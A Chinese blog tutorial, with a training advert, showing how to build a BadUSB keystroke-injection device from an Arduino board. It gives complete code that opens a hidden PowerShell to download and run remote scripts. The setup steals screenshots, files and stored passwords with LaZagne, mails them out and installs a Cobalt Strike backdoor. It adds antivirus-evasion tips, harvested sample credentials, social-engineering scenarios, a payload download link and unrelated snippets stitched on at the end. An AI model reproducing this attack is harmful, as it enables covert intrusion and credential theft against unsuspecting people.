0x000-前言

有技术交流或渗透测试培训需求的朋友欢迎联系QQ/VX-547006660

2000人网络安全交流群,欢迎大佬们来玩
群号820783253

0x001-简介

1.概述
在2014年美国黑帽大会上,安全研究人员JakobLell和独立安全研究人员Karsten Nohl展示了他们称为“BadUSB”的攻击方法,这种攻击方法让USB安全和几乎所有和USB相关的设备(包括具有USB端口的电脑)都陷入相当危险的状态。

2.Badusb内部结构
从这张图便可以了解到–Badusb和普通的U盘并没有什么两样,因此迷惑性极高,很容易攻击成功

3.Badusb Hid攻击原理
HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备,。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的Badusb利用的是虚拟键盘来实现恶意代码的执行。

4.Badusb攻击优势
攻击者将恶意代码存放于Badusb的固件中,PC上的杀毒软件无法访问到U盘存放固件的区域,因此也就意味着杀毒软件无法应对BadUSB的攻击。

5.Teensy
攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。

6.Arduino
Arduino是一款便捷灵活、方便上手的开源电子原型平台。其开发环境,主要包含两个主要的部分:硬件部分是可以用来做电路连接的Arduino电路板;另外一个则是Arduino IDE,你的计算机中的程序开发环境。你只要在IDE中编写程序代码,将程序上传到Arduino电路板后,程序便会告诉Arduino电路板要做些什么了。

7.攻击流程
Bad-Usb插入后,会模拟键盘对电脑进行操作,通过这些操作打开电脑的命令终端,并执行一条命令,这条命令将从指定网址下载恶意代码(通常为powershell脚本)并于后台静默运行。这些代码功能包括:窃取信息、反弹shell、发送邮件等,从而实现控制目标机或者窃取信息的目的。

0x002-准备工作

1.硬件
我在这边选择的是BS Micro pro micro leonardo Arduino 开发板,结构是一个USB主控加一块到两块的存储颗粒。从原理来看。USB主控就是一个带原生usb接口的单片机。
虽然它的体积小,但它拥有丰富接口,使其不仅有传统控制器的功能,还有在电脑上实现鼠标、键盘的功能,串口功能,并且无需驱动,能直接实现与电脑的通信。
它与其他大多数的MCU控制板一个很大的区别是编程不需要额外使用编程器,直接用USB就可以编程。这样不仅方便、稳定、可靠,还省下了一个编程器的钱。

淘宝链接(如果不会编写脚本,请购买和作者一样的开发版,不要贪便宜):
https://item.taobao.com/item.htm?spm=a1z09.2.0.0.3d1f2e8dNaX0hO&id=589099911512&_u=m2i3k6cqf473

实际到货设备如图

2.开发环境安装
Arduino IDE

kali下已集成,windows下载链接:
http://downloads.arduino.cc/arduino-1.6.4-windows.zip
下载为zip文件,无需安装,直接解压就能用。
注意:不要下载高于1.6.4的版本,否则设备驱动无法正常安装!(我被这个坑乐好一段时间)

3.驱动准备
为了可以正常使用ardunio对开发版进行编程,需安装Teensyduino驱动
下载链接http://www.pjrc.com/teensy/td_123/teensyduino.exe

一路Next下来,本处选择刚刚解压的ardunio1.64路径才可以正常安装

选择all进行安装

4.开启smtp服务
为确保我们的脚本能够完美地发送包含目标主机信息的邮件,我们需要开启smtp邮箱服务。本处我使用的是QQ邮箱,开启方法如下:
进入邮箱,点击设置-账户

向下拉即可看到

将头两个服务开启,此过程需要验证密保~
即可获得“授权码”(即后文提到的邮箱密码)此处的邮箱密码并不是指QQ密码

5.服务器端准备
①首先下载Badusb所需代码,代码已打包,见文末
②修改压缩包中的main.ps1的2754行,把打码的地方改为自己的服务器IP

③修改main.ps1的2903-2919行 为发送邮件配置

④修改GetPass.ps1中的前两行,域名,Getpass.rar实际上是lazagne,用rar下载尽量避免出发安全软件,这个不放心可以百度下载。command.rar实为bat 因为 lazagne注入lsass时会被安全软件拦截,所以用bat避免注入。修改GetPass.ps1中的邮箱配置,同main.ps1中的就行

⑤将修改后的全部文件用HFS(一个简单的提供http下载软件)上传到公网服务器
HFS链接:http://www.ouyaoxiazai.com/soft/stgj/133/21762.html
兄弟们如果没有服务器,可以去买便宜的学生机,或者私聊我。

0x003-Badusb制作

1.将硬件插入电脑

2.打开Arduino IDE
3.工具->版->选择“Arduino Leonardo”

4.输入Windows +R 输入命令devmgmt.msc打开设备管理器
查看串口信息

5.根据之前的串口信息,打开ardunio ide选择–工具->端口->选择“COM* (Arduino Leonardo)”
6.现在可以看到IDE右下角出现“Arduino Leonardo on COM*”

6.下面进行将代码写入硬件的操作
①复制如下代码到ardunio中

void setup(){//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/main.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://8.8.8.8/payload.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop() {}

请各位将8.8.8.8改成自己的服务器ip~
注释写的应该都很明白了,小伙伴们可以根据自己的需求修改

PS:我这边选择执行两个payload,第一个是我之前教大家修改上传的main.ps1,这个脚本实现的是“截图、用户凭据导出,文件窃取,计算机中浏览器/WIFI等密码的读取”并将其通过邮箱发送到我们手中。
第二个Payload是我在cobaltstrike里面生成的powershell后门,主要为了实现控制持久化,并进行更高层级的渗透。如果小伙伴们不知道cobaltstrike是什么,简而言之-这是一款强大的团队协作APT神器,日后我会写一个系列教程专门介绍他。

代码大体的意思是:
插入BADusb后等待五秒,
切换大写绕开输入法
按下Windows+R打开cmd
模拟输入一个字符串,并回车执行

当你将代码写入完成后,恭喜你,Badusb已制作成功

0x004测试

将Badusb插入电脑,短暂几秒延时后,发现打开了cmd窗口,输入了我们下载执行powershell的命令,并回车执行

过了几分钟,会来两封邮件


这里面便是我们心心念念的Badusb执行结果
Report.zip内容如图

Getpass txt内容如下

|==========================
|
| The LaZagne Project
|
|
|==========================

########## User: Administrator ##########

------------------- Chrome passwords -----------------

Password found !!!
URL: http://127.0.0.1/login
Login: admin
Password: xunfeng321

Password found !!!
URL: http://10.97.3.177:8080/cgi-bin/login.html
Login: admin
Password: admin
…内容太多,省略了

Cobaltstrike也收到了会话(我插了好几次)

0x005攻击场景

①社工攻击
小姐姐,我的U盘插我的电脑显示不出来,你能帮我看看你的电脑可以吗?

②带有USB接口的终端机

找到USB接口怼进去,插谁谁怀孕
其他应用场景自行脑补,欢迎评论分享

0x006总结

今天介绍了硬件设备Badusb的制作及使用,大家可以修改服务器端的powershell代码来实现更多的功能,欢迎评论分享自己的思路
本篇文章耗时7小时,也算是自己写过比较长的啦,希望老铁们多多关注。

0x007 Badusb代码下载[/md]

链接:https://pan.baidu.com/s/1ODHBZXUlyRxwk75Q6yuIXg
提取码:zisl

插一个U盘黑一台电脑-Badusb最详细制作教程相关推荐

  1. 计算机做word的表格,怎么用word做表格,电脑word表格详细制作教程

    Hello,今天向大家简单介绍一下如何使用word制作出漂亮的表格! 一.创建"DOCX"文档: 二.准备一张漂亮的背景图片,然后如下图所示:点击"页面布局"选 ...

  2. 一个路由再接另一个路由,让和别人合拉的一个网线可以多台电脑一起使用

    一个路由再接另一个路由,让和别人合拉的一个网线可以多台电脑一起使用 硬件:路由A(公家的路由),路由B(自家路由) 方法:让路由A拉过来的网线接到路由B的lan接口 步骤:1.先不要连接A路由,用一台 ...

  3. 一套键鼠操控多台电脑--Mouse Without Borders 设置教程(转载)

    这篇文字是转载的,地址一套键鼠操控多台电脑–Mouse Without Borders 设置教程 一套键鼠控多机+文件秒传 微软神器<Mouse Without Borders>实战 你或 ...

  4. 计算机对等网络的组建,两台电脑对等网组建连接教程

    电脑对等网有很多连接方式,比如无线方式.路由器和交换机等等.对等网可以说是当今最简单的网络,非常适合家庭,校园和小型办公室.它不仅投资少,连接也很容易.下面豆豆来介绍另一种对等网联网方式. 两台电脑对 ...

  5. 怎么用计算机录制mp3的音频,如何在电脑上录音详细图文教程

    原标题:如何在电脑上录音详细图文教程 现在移动端的录音工具有很多,甚至很多的其他移动设备也都可以录音的,可是电脑上录音的软件确是比较少见,现在用电脑录音的人还是比较多,毕竟我们现在使用电脑还是比较频繁 ...

  6. 用python写一个telnet另一台电脑并开启某个应用程序_Python-Anaconda的安装和配置

    Python版本 Python的版本,目前的主流版本应该是3.x,本文将会以3.6版本为基础来讲.不同版本就和游戏的补丁是一样的,版本之间的差距可能是多了几个剧本,多了几个武将.Python里就是多了 ...

  7. 两台计算机能否共用一个ip地址,多台电脑共用一个WIFI,IP地址是不是一样?

    网友解答: "我是哟哟吼,专注于数据网络的解答,欢迎大家与我交流数据网络的问题." 如题,如果说私网IP地址,那么多台电脑的IP地址均不一样:如果说公网IP地址,那么多台电脑的IP ...

  8. 一个鼠标控制两台电脑

    手上就一个鼠标,想同时控制台式电脑和笔记本,这里推荐一个软件:Mouse without Borders 官网下载链接:https://www.microsoft.com/en-us/download ...

  9. java一个电脑控制4个屏幕_Synergy让一个鼠标一个键盘操作多台电脑

    我有一台台式机和一台笔记本,经常要同时使用两台电脑.一般的做法就是将两个鼠标放到同一个鼠标垫上,使用不同的电脑就把手切换到不同的鼠标.今天突然觉得这很麻烦,就想有没有什么方法让一个鼠标(当然还有键盘) ...

最新文章

  1. 最近,又发现了 Pandas 中三个好用的函数
  2. SDwebimage使用原理(转载)
  3. Linux Shell脚本攻略学习总结:三
  4. 关于货仓选址问题的方法及证明(在数轴上找一点使得该点到所有其他点的距离之和最小)...
  5. pdfstamper生成pdf无法显示汉字_正点原子STM32F4/F7水星开发板资料连载第四十六章 汉字显示实验...
  6. selenium操作浏览器窗口最大化和刷新
  7. 【转】ABP源码分析三十五:ABP中动态WebAPI原理解析
  8. 自定义WPF ListBox的选择样式
  9. Demo分享丨看ModelArts与HiLens是如何让车自己跑起来的
  10. 女生做产品经理好吗_产品经理如何做产品架构设计
  11. [禅悟人生]谦虚有助于自我消融
  12. QTP的那些事 -– Visual Relation Identifier Feature: How to use in the real world
  13. linux CentOS普通用户无法从ssh登录解决方案
  14. Android LayoutInflater 动态地添加删除View
  15. 如何实现一次选择多个文件上传,而且异步上传
  16. 自定义View之Layout方法详解
  17. 百度ai开放平台体验
  18. laravel admin grid文档
  19. 无心剑中译阿道司.赫胥黎《冥思月亮》
  20. mysql opt frm_将.frm和.opt文件导入MySQL

热门文章

  1. 孤立森林算法matlab实现,隔离林在MATLAB和python中的简单应用,isolationforest,上
  2. M-JPEG和MPEG-4的区别 M-JPEG VS MPEG
  3. Java - 保留小数点后两位
  4. 一、漏洞编号为CVE-2017-16995的本地提权(略微详细)(Ubuntu16.04.1-4)
  5. js统计包含特殊字符的字符串长度
  6. A - Radio Station
  7. ik做尾巴摆动 maya_Maya-IK和约束实现活塞动画
  8. WPS中插入表格,每个单元格自动编号问题解决
  9. 高考监考引入人脸识别黑科技?更多高新监控技术为高考保驾护航!
  10. java 自定义异常